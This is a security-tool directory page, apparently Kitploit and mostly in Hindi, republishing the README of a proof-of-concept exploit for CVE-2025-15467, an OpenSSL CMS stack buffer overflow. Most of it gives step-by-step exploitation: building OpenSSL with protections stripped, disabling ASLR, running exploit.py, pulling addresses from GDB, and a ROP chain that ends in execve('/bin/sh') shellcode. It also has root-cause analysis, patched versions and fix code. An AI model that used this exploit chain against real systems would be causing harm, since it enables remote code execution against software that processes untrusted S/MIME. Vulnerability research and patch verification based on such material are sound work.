Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/guiimoraes/cve-2025-15467
भेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगशेलकोडक्रिप्टोग्राफीलर्निंग और शिक्षापेलोड डेवलपमेंटबाइनरी शोषण
GitHubguiimoraes/cve-2025-15467

CVE-2025-15467

OpenSSL स्टैक बफर ओवरफ्लो CVE-2025-15467 के लिए कमांड निष्पादन PoC

रिपॉजिटरी देखें
153107 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-15467: OpenSSL CMS AuthEnvelopedData में स्टैक बफ़र ओवरफ़्लो

अवलोकन

CVE-2025-15467 OpenSSL के CMS (क्रिप्टोग्राफिक मैसेज सिंटैक्स) पार्सिंग कोड में एक गंभीर स्टैक बफ़र ओवरफ़्लो भेद्यता है। यह भेद्यता evp_cipher_get_asn1_aead_params() फ़ंक्शन में मौजूद है, जब CMS AuthEnvelopedData संरचनाओं में AES-GCM इनिशियलाइज़ेशन वेक्टर (IV) को प्रोसेस किया जाता है।

गुणमान
CVE IDCVE-2025-15467
गंभीरताउच्च
CVSS8.1+
प्रभावित संस्करणOpenSSL 3.0 - 3.6 (पैच से पहले)
प्रभावरिमोट कोड निष्पादन (RCE)
हमला वेक्टरनेटवर्क (दुर्भावनापूर्ण CMS/S-MIME पार्स करना)
प्रमाणीकरणकोई आवश्यकता नहीं

भेद्यता विवरण

मूल कारण

भेद्यता crypto/evp/evp_lib.c में स्थित है:

int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
                                    evp_cipher_aead_asn1_params *asn1_params)
{
    int i = 0;
    long tl;
    unsigned char iv[EVP_MAX_IV_LENGTH];  // Fixed 16-byte buffer!

    if (type == NULL || asn1_params == NULL)
        return 0;

    i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
    if (i <= 0)
        return -1;
    
    // BUG: Uses 'i' (attacker-controlled) as max_len instead of EVP_MAX_IV_LENGTH
    ossl_asn1_type_get_octetstring_int(type, &tl, iv, i);  // OVERFLOW!

    memcpy(asn1_params->iv, iv, i);
    asn1_params->iv_len = i;

    return i;
}

Bug

  1. iv एक फिक्स्ड 16-बाइट स्टैक बफ़र है (EVP_MAX_IV_LENGTH = 16)
  2. ossl_asn1_type_get_octetstring_int() का पहला कॉल फ़ाइल से IV की लंबाई लौटाता है
  3. दूसरा कॉल इस लंबाई (i) को max_len पैरामीटर के रूप में उपयोग करता है
  4. यदि i > 16, तो फ़ंक्शन बफ़र से परे लिखता है → स्टैक बफ़र ओवरफ़्लो

शोषण

CMS डिक्रिप्शन के दौरान GCM पैरामीटर्स को पार्स करते समय ओवरफ़्लो होता है। एक हमलावर:

  1. बड़े IV के साथ एक दुर्भावनापूर्ण CMS AuthEnvelopedData फ़ाइल तैयार कर सकता है
  2. स्टैक बफ़र को ओवरफ़्लो करके रिटर्न एड्रेस को ओवरराइट कर सकता है
  3. निष्पादन को हमलावर-नियंत्रित शेलकोड की ओर पुनर्निर्देशित कर सकता है
  4. रिमोट कोड निष्पादन प्राप्त कर सकता है

प्रभावित एप्लिकेशन

कोई भी एप्लिकेशन जो AEAD सिफ़र्स के साथ अविश्वसनीय CMS/PKCS#7 सामग्री को पार्स करता है:

  • ईमेल क्लाइंट S/MIME संदेशों को प्रोसेस कर रहे हैं
  • दस्तावेज़ हस्ताक्षर एप्लिकेशन
  • प्रमाणपत्र प्रबंधन उपकरण
  • VPN/TLS कार्यान्वयन जो CMS का उपयोग करते हैं
  • कोई भी सॉफ़्टवेयर जो CMS_decrypt() या समान फ़ंक्शन को कॉल करता है

प्रूफ ऑफ कॉन्सेप्ट

पूर्वापेक्षाएँ

# Install dependencies
pip install pwntools  # Optional, for auto gadget detection

# Clone this repository
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467

# Run setup script to compile vulnerable OpenSSL
chmod +x setup.sh
./setup.sh

या मैन्युअल रूप से:

# Download and compile vulnerable OpenSSL 3.4.0
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0

# Compile WITHOUT stack protector for easier demonstration
./Configure linux-x86_64 \
    --prefix=/opt/openssl-vuln \
    -fno-stack-protector \
    -D_FORTIFY_SOURCE=0 \
    -z execstack

make -j$(nproc)
sudo make install
cd ..

टेस्ट सर्टिफिकेट जनरेट करें

export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64

# Generate key and certificate
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
    -days 1 -subj "/CN=Test"

# Create valid CMS file (needed as template)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
    -in plain.txt -out valid.cms -outform DER dummy.crt

# Verify it works
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
    -inkey dummy.key -recip dummy.crt

विधि 1: ऑटो मोड (अनुशंसित)

एक्सप्लॉइट ASLR बंद होने पर स्वचालित रूप से पतों का पता लगा सकता है:

# Disable ASLR (requires root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Run exploit with auto-detection
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
    /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt

# Execute the exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

# You should get a shell!

विधि 2: मैन्युअल पते (GDB के माध्यम से)

यदि ऑटो-डिटेक्शन विफल हो जाता है, तो मैन्युअल रूप से पते प्राप्त करें:

# Get addresses from GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl

(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings   # Get libc and libcrypto base addresses
(gdb) continue
(gdb) # When it hits evp_cipher_get_asn1_aead_params:
(gdb) print/x $rsp         # Get stack address

उदाहरण आउटपुट:

libc-2.31.so:     0x7ffff7711000
libcrypto.so.3:   0x7ffff7936000
RSP:              0x7fffffffdc58

फिर एक्सप्लॉइट जनरेट करें:

# Generate exploit with manual addresses
# Arguments: <libcrypto_base> <libc_base> <stack_addr> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms

# Run exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

एक्सप्लॉइट कैसे काम करता है

  1. वैध CMS को पैच करें: एक वैध CMS फ़ाइल लेता है और 12-बाइट IV को एक दुर्भावनापूर्ण पेलोड से बदल देता है
  2. स्टैक को ओवरफ़्लो करें: बड़ा IV 16-बाइट बफ़र को ओवरफ़्लो करता है, सहेजे गए रजिस्टरों और रिटर्न एड्रेस को ओवरराइट करता है
  3. ROP चेन: mprotect() को कॉल करने और स्टैक को निष्पादन योग्य बनाने के लिए रिटर्न-ओरिएंटेड प्रोग्रामिंग का उपयोग करता है
  4. शेलकोड निष्पादन: mprotect() के बाद, jmp rsp गैजेट के माध्यम से स्टैक पर शेलकोड पर जाता है
  5. शेल: execve("/bin/sh", NULL, NULL) निष्पादित करके एक शेल स्पॉन करता है

ROP चेन संरचना

[padding: 56 bytes to reach saved RIP]
[pop rdi; ret]        <- Set RDI = stack_page (for mprotect arg1)
[stack_page address]
[pop rsi; ret]        <- Set RSI = 0x1000 (for mprotect arg2)
[0x1000]
[pop rdx; pop rbx; ret] <- Set RDX = 7 (PROT_RWX for mprotect arg3)
[7]
[0]                   <- Dummy for RBX
[mprotect]            <- Call mprotect(stack_page, 0x1000, 7)
[jmp rsp]             <- Jump to shellcode
[shellcode]           <- execve("/bin/sh", NULL, NULL)

फ़ाइलें

फ़ाइलविवरण
exploit.pyऑटो-डिटेक्शन और मैन्युअल मोड के साथ मुख्य एक्सप्लॉइट
setup.shकमजोर OpenSSL को संकलित करने के लिए स्क्रिप्ट
README.mdयह दस्तावेज़ीकरण
TECHNICAL.mdभेद्यता में तकनीकी गहराई से जानकारी

शमन उपाय

उपयोगकर्ताओं के लिए

  1. OpenSSL को अपडेट करें पैच किए गए संस्करणों में:

    • OpenSSL 3.6.1+
    • OpenSSL 3.5.5+
    • OpenSSL 3.4.4+
    • OpenSSL 3.3.6+
    • OpenSSL 3.0.19+
  2. पैच लगने तक अविश्वसनीय CMS/S-MIME सामग्री को प्रोसेस न करें

डेवलपर्स के लिए

  1. कॉपी करने से पहले IV की लंबाई को मान्य करें:
if (i > EVP_MAX_IV_LENGTH)
    return -1;
  1. दूसरे कॉल में सही max_len का उपयोग करें:
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);

समयरेखा

तिथिघटना
2025-12-14OpenSSL को भेद्यता की सूचना दी गई
2026-01-27सुरक्षा सलाहकार प्रकाशित किया गया
2026-01-27पैच जारी किए गए

संदर्भ

  • OpenSSL Security Advisory
  • CVE-2025-15467

श्रेय

  • Guilherme Moraes (@guiimoraes) - एक्सप्लॉइट विकास
  • Claude Opus 4.5 (Anthropic) - AI-सहायता प्राप्त अनुसंधान और विकास

अस्वीकरण

यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। जिम्मेदारी से उपयोग करें।

टूल डाउनलोड करें